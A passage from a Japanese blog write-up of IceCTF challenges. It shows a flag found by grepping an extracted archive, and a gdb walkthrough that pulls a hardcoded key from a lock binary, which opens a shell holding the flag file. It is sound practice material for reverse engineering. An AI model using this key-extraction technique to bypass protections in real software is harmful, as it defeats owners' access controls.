./tmp_d3791a07c3328ac61e1f9209362aeadf_yuXQg1.ch.fixed.fc.tidied.stylehacked.xfixed_split_001.html:down with The Post's Alice Rhee to explain. IceCTF{if_you_see_this_youve_breached_my_privacy} (Thomas LeGro/The

zipファイルを展開して、(もう真面目にフラグを探す気力もないので)脳死grepコマンドを打ったらフラグが出てきました。

Flag: IceCTF{if_you_see_this_youve_breached_my_privacy}

Reverse Engineering

Description

This is a fancy looking lock, I wonder what would happen if you broke it open? Note: You can download the binary here

実行ファイルを実行してみると、Enter key:でキーを入力しろと言われます。

$ ./lock
This is a pesky lock.. do you think you can open it?
Enter key: aaaa
key failed

キーの判定場所を探します。

f:id:ush1ken:20180913192507p:plain

上の図から、strlen_920という関数の返り値によって右(シェルをとれる)か、左(そのままexitする)かに分かれていることがわかります。

f:id:ush1ken:20180913192512p:plain

strlen_920という関数の中を見てみると、関数中央から下で何らかの文字列をmemfrob関数でエンコード(デコード)し、その結果と入力文字列が入っていると思われる変数をstrcmp関数で比較していることがわかります。 ということで、(相変わらずradare2の静的解析の方法を調べていないため)gdbで動的解析を行います。

# gdb -q lock
Reading symbols from lock...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x67f
(gdb) run
Starting program: /root/ctf/icectf/LockedOut/lock 

Breakpoint 1, 0x5655567f in main ()
(gdb) b *0x565556e9
Breakpoint 2 at 0x565556e9
(gdb) c
Continuing.
This is a pesky lock.. do you think you can open it?
Enter key: AAAA

Breakpoint 2, 0x565556e9 in main ()

まず、main関数にブレークポイントを仕掛けて、さらに先ほどのradare2で見つけたstrlen_920という関数にもブレークポイントを仕掛けて、その関数まで処理を進めます。 さらに、入力文字列となんらかの文字列を比較しているstrcmp関数の手前まで処理を進めます。

(gdb) x/s $esi
0x56558980:     "aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8"

strcmp関数まで進めて、引数の文字列を調べてみると、上記のような文字列が出力されます。 これがキーではないかと、予想して、再度バイナリを実行してこの文字列を入力してみます。

[adversary ~/lockedout]$ ./lock
This is a pesky lock.. do you think you can open it?
Enter key: aXat9r45UtyMjw4i5Wh8swVWmEg3vAbWZaijTWP8
unlocked!
sh-4.4$ ls
flag.txt  lock
sh-4.4$ cat flag.txt
IceCTF{you_m3ddling_k1ds}

Flag: IceCTF{you_m3ddling_k1ds}

おわりに

QRコードが出てきたときの快感を覚えてしまいました。 WebとCryptoにまったく手がでずつらい。精進したいです。